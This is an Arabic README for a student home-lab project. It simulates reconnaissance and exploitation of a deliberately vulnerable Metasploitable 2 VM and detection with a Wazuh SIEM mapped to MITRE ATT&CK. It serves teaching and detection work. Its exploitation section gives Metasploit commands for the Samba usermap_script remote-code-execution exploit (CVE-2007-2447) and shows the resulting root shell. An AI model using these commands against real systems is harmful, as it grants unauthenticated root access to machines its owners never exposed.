🛡️ مختبر استغلال CVE-2007-2447 وكشف SIEM (Wazuh + MITRE ATT&CK)

مشروع بكالوريوس التقنية (BTP) | IIIT Pune استنادًا إلى: "Designing and Implementing an Effective Cybersecurity Home Lab for Detection and Monitoring" — ICCCNT 2023، IIT Delhi

مختبر منزلي متكامل للأمن السيبراني مبني على جهاز واحد باستخدام أدوات مجانية ومفتوحة المصدر. يحاكي المختبر دورة حياة هجوم واقعية — الاستطلاع ← الاستغلال ← الكشف — ويوضح كيف يمكن لنظام SIEM اكتشاف الهجمات وربطها بإطار عمل MITRE ATT&CK في الوقت الفعلي.

📐 بنية المختبر

┌─────────────────────────────────────────────────┐
│           VirtualBox — Internal Network          │
│              (cyberlab, 10.0.0.x/24)             │
│                                                  │
│  ┌──────────┐   ┌──────────────┐   ┌──────────┐ │
│  │  Kali    │   │ Metasploitable│  │  Ubuntu  │ │
│  │ 10.0.0.1 │◄─►│   10.0.0.2   │◄─►│ 10.0.0.3 │ │
│  │ ATTACKER │   │    VICTIM     │  │   SIEM   │ │
│  └──────────┘   └──────────────┘   └──────────┘ │
└─────────────────────────────────────────────────┘
         Host-Only Adapter (192.168.56.103)
         → Wazuh Dashboard access from browser

🧰 الأدوات والتقنيات

🔧 دليل الإعداد

المتطلبات الأساسية

• جهاز بذاكرة 16 GB RAM على الأقل (تعمل الأجهزة الافتراضية الثلاثة في وقت واحد)
• تثبيت VirtualBox 7.x
• مساحة قرص فارغة تبلغ ~50 GB

الخطوة 1 — إعداد الشبكة في VirtualBox

أنشئ شبكة داخلية باسم cyberlab في VirtualBox. تحصل الأجهزة الافتراضية الثلاثة على هذا المحول. يحصل جهاز Ubuntu/Wazuh الافتراضي على محول Host-Only إضافي حتى تتمكن من الوصول إلى لوحة التحكم من متصفحك.

الخطوة 2 — Kali Linux (المهاجم)

1. قم بتنزيل صورة Kali Linux لـ VirtualBox
2. استورد الملف وعيّن محول الشبكة الداخلية cyberlab
3. عيّن عنوان IP ثابت:

# Edit /etc/network/interfaces
auto eth0
iface eth0 inet static
    address 10.0.0.1
    netmask 255.255.255.0

4. أعد تشغيل الشبكة: sudo systemctl restart networking

الخطوة 3 — Metasploitable 2 (الضحية)

1. قم بتنزيل Metasploitable 2
2. استورده إلى VirtualBox وعيّن شبكة cyberlab
3. عيّن عنوان IP ثابت:

# Edit /etc/network/interfaces
auto eth0
iface eth0 inet static
    address 10.0.0.2
    netmask 255.255.255.0

⚠️ لا تعرّض Metasploitable 2 للإنترنت أبدًا. فهو غير آمن عمدًا.

الخطوة 4 — Ubuntu + Wazuh SIEM (المدافع)

1. قم بتثبيت Ubuntu Server 22.04
2. عيّن محولين: cyberlab داخلي + Host-Only
3. عيّن عنوان IP ثابت عبر netplan (/etc/netplan/01-network-manager-all.yaml):

network:
  version: 2
  renderer: NetworkManager
  ethernets:
    enp0s3:
      addresses:
        - 10.0.0.3/24
    enp0s8:
      dhcp4: true

4. ثبّت Wazuh (عقدة واحدة):

curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh
sudo bash wazuh-install.sh -a

5. الوصول إلى لوحة التحكم على: https://192.168.56.103 (من متصفح المضيف)

الخطوة 5 — ربط Metasploitable بـ Wazuh عبر Syslog

نظرًا لأن Metasploitable 2 لا يمكنه تشغيل وكيل Wazuh، قم بتهيئة إعادة توجيه syslog للمراقبة بدون وكيل:

على Metasploitable، أضف إلى /etc/rsyslog.conf:

*.* @10.0.0.3:514

على Wazuh (Ubuntu)، فعّل إدخال syslog في /var/ossec/etc/ossec.conf:

<remote>
  <connection>syslog</connection>
  <port>514</port>
  <protocol>udp</protocol>
</remote>

أعد تشغيل Wazuh: sudo systemctl restart wazuh-manager

⚔️ محاكاة الهجوم

المرحلة 1 — الاستطلاع (Nmap)

# From Kali
nmap -sV -O 10.0.0.2

الخدمات الرئيسية المكتشفة على Metasploitable 2:

تم اكتشاف أكثر من 20 منفذًا مفتوحًا. تم تحديد نظام التشغيل: Linux 2.6.x

المرحلة 2 — الاستغلال (Metasploit)

الثغرة: CVE-2007-2447 — حقن أوامر Samba usermap_script

تسمح بتنفيذ كود عن بُعد دون مصادقة عبر طلبات MS-RPC غير صالحة على Samba 3.0.0–3.0.25rc3.

# From Kali — launch Metasploit
msfconsole

# Inside Metasploit
use exploit/multi/samba/usermap_script
set RHOSTS 10.0.0.2
set LHOST 10.0.0.1
run

# Verify root access
whoami
# Output: root

المرحلة 3 — الكشف (Wazuh SIEM)

بعد الاستغلال، اكتشف Wazuh الأحداث تلقائيًا وربطها بـ MITRE ATT&CK:

إجمالي الأحداث المكتشفة: أكثر من 55 حدثًا

يمكنك الوصول إلى لوحة التحكم على https://192.168.56.103 ← Security Events ← MITRE ATT&CK

📊 النتائج الرئيسية

• ✅ تم تكرار دورة حياة الهجوم بالكامل بنجاح في بيئة معزولة
• ✅ حققت CVE-2007-2447 غلاف root دون مصادقة في ثوانٍ
• ✅ اكتشف Wazuh SIEM جميع الهجمات وربطها بـ MITRE ATT&CK في الوقت الفعلي
• ✅ مكّنت إعادة توجيه syslog المراقبة بدون وكيل لنظام Metasploitable القديم
• ✅ يعمل المختبر بأكمله على جهاز مضيف واحد بسعة 16 GB RAM

📁 هيكل المستودع

cybersecurity-home-lab/
│
├── README.md                  ← You are here
├── network-config/
│   ├── kali-interfaces.txt    ← Kali static IP config
│   ├── metasploitable-interfaces.txt
│   └── ubuntu-netplan.yaml    ← Ubuntu/SIEM netplan config
├── wazuh-config/
│   └── ossec.conf             ← Wazuh syslog/agent config
├── screenshots/
│   ├── nmap-scan.png
│   ├── metasploit-exploit.png
│   ├── wazuh-dashboard.png
│   └── wazuh-alerts-table.png
└── report/
    └── ICCCNT_2023_paper.pdf  ← Reference research paper

🔗 المرجع

Dadiyala, C. et al. (2023). Designing and Implementing an Effective Cybersecurity Home Lab for Detection and Monitoring. 14th International Conference on Computing, Communication and Networking Technologies (ICCCNT), IIT Delhi. IEEE-56998.

⚠️ إخلاء مسؤولية

تم بناء هذا المختبر بالكامل على أجهزة افتراضية معزولة دون أي وصول إلى الإنترنت أثناء محاكاة الهجمات. تُستخدم جميع الأدوات والتقنيات لأغراض تعليمية فقط ضمن بيئة خاضعة للتحكم. لا تحاول تكرار أي تقنيات هجوم على أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

مقدَّم من Harshita Verma | IIIT Pune